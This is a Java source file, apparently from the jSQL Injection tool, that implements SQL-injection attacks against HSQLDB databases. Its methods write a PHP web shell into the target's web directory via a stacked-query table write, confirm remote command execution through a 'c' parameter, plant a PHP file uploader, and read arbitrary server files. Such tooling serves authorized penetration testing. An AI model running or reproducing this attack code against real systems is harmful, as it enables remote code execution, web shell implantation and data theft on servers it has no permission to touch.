1 package com.jsql.model.accessible.vendor; 2 3 import com.jsql.model.InjectionModel; 4 import com.jsql.model.accessible.CallableFile; 5 import com.jsql.model.accessible.DataAccess; 6 import com.jsql.model.accessible.ResourceAccess; 7 import com.jsql.model.accessible.vendor.hsqldb.ModelYamlHsqldb; 8 import com.jsql.model.bean.database.MockElement; 9 import com.jsql.model.bean.util.Interaction; 10 import com.jsql.model.bean.util.Request; 11 import com.jsql.model.exception.AbstractSlidingException; 12 import com.jsql.model.exception.JSqlException; 13 import com.jsql.model.exception.JSqlRuntimeException; 14 import com.jsql.model.injection.vendor.model.VendorYaml; 15 import com.jsql.model.suspendable.SuspendableGetRows; 16 import com.jsql.util.LogLevelUtil; 17 import com.jsql.util.StringUtil; 18 import org.apache.commons.lang3.RandomStringUtils; 19 import org.apache.commons.lang3.StringUtils; 20 import org.apache.logging.log4j.LogManager; 21 import org.apache.logging.log4j.Logger; 22 import org.yaml.snakeyaml.Yaml; 23 24 import java.io.File; 25 import java.io.FileInputStream; 26 import java.io.IOException; 27 import java.io.InputStream; 28 import java.net.http.HttpResponse; 29 import java.util.function.BinaryOperator; 30 31 public class ExploitHsqldb { 32 33 private static final Logger LOGGER = LogManager.getRootLogger(); 34 private final InjectionModel injectionModel; 35 private final ModelYamlHsqldb modelYaml; 36 37 public ExploitHsqldb(InjectionModel injectionModel) { 38 this.injectionModel = injectionModel; 39 var yaml = new Yaml(); 40 this.modelYaml = yaml.loadAs( 41 injectionModel.getMediatorVendor().getHsqldb().instance().getModelYaml().getResource().getExploit(), 42 ModelYamlHsqldb.class 43 ); 44 } 45 46 public String createWeb(String pathExploit, String urlExploit) { 47 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE Web target requirements: stack query, web+db on same machine, jdbc bridge"); 48 49 String bodyExploit = StringUtil.base64Decode( 50 this.injectionModel.getMediatorUtils().getPropertiesUtil().getProperty(ResourceAccess.EXPLOIT_DOT_WEB) 51 ) 52 .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD) 53 .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL); 54 55 var nameTable = RandomStringUtils.secure().nextAlphabetic(8); 56 var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".php"; 57 this.injectionModel.injectWithoutIndex(String.format( 58 this.modelYaml.getFile().getWrite(), 59 nameTable, 60 nameTable, bodyExploit.replace("'", "\""), 61 nameTable, pathExploit + nameExploit 62 ), ResourceAccess.TBL_CREATE); 63 64 BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> { 65 String result = this.injectionModel.getResourceAccess().callCommand( 66 urlSuccess +"?c="+ ResourceAccess.WEB_CONFIRM_CMD 67 ); 68 if (!result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) { 69 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit body not found"); 70 return StringUtils.EMPTY; 71 } 72 var request = new Request(); 73 request.setMessage(Interaction.ADD_TAB_EXPLOIT_WEB); 74 request.setParameters(urlSuccess); 75 this.injectionModel.sendToViews(request); 76 return urlSuccess; 77 }; 78 79 return this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest); 80 } 81 82 public void createUpload(String pathExploit, String urlExploit, File fileToUpload) { 83 String bodyExploit = StringUtil.base64Decode( 84 this.injectionModel.getMediatorUtils().getPropertiesUtil().getProperty(ResourceAccess.EXPLOIT_DOT_UPL) 85 ) 86 .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD) 87 .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL); 88 89 var nameTable = RandomStringUtils.secure().nextAlphabetic(8); 90 var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".php"; 91 this.injectionModel.injectWithoutIndex(String.format( 92 this.modelYaml.getFile().getWrite(), 93 nameTable, 94 nameTable, bodyExploit.replace("'", "\""), 95 nameTable, pathExploit + nameExploit 96 ), ResourceAccess.TBL_CREATE); 97 98 BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> { 99 try (InputStream streamToUpload = new FileInputStream(fileToUpload)) { 100 HttpResponse<String> result = this.injectionModel.getResourceAccess().upload(fileToUpload, urlSuccess, streamToUpload); 101 if (result.body().contains(DataAccess.LEAD +"y")) { 102 LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, ResourceAccess.UPLOAD_SUCCESSFUL, pathExploit, fileToUpload.getName()); 103 } else { 104 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.UPLOAD_FAILURE, pathExploit, fileToUpload.getName()); 105 } 106 } catch (InterruptedException e) { 107 LOGGER.log(LogLevelUtil.IGNORE, e, e); 108 Thread.currentThread().interrupt(); 109 } catch (IOException | JSqlException e) { 110 throw new JSqlRuntimeException(e); 111 } 112 return urlSuccess; 113 }; 114 115 this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest); 116 } 117 118 public String getRead(String pathFile) throws AbstractSlidingException { 119 LOGGER.log(LogLevelUtil.CONSOLE_INFORM, CallableFile.REQUIRE_STACK); 120 var nameTable = RandomStringUtils.secure().nextAlphabetic(8); 121 this.injectionModel.injectWithoutIndex(String.format( 122 this.injectionModel.getResourceAccess().getExploitHsqldb().getModelYaml().getFile().getRead().getCreateTable(), 123 nameTable, 124 nameTable, pathFile 125 ), ResourceAccess.TBL_FILL); 126 return new SuspendableGetRows(this.injectionModel).run( 127 String.format( 128 this.injectionModel.getResourceAccess().getExploitHsqldb().getModelYaml().getFile().getRead().getResult(), 129 VendorYaml.TRAIL_SQL, 130 nameTable 131 ), 132 new String[]{ StringUtils.EMPTY }, 133 false, 134 1, 135 MockElement.MOCK, 136 ResourceAccess.TBL_READ 137 ); 138 } 139 140 public ModelYamlHsqldb getModelYaml() { 141 return this.modelYaml; 142 } 143 }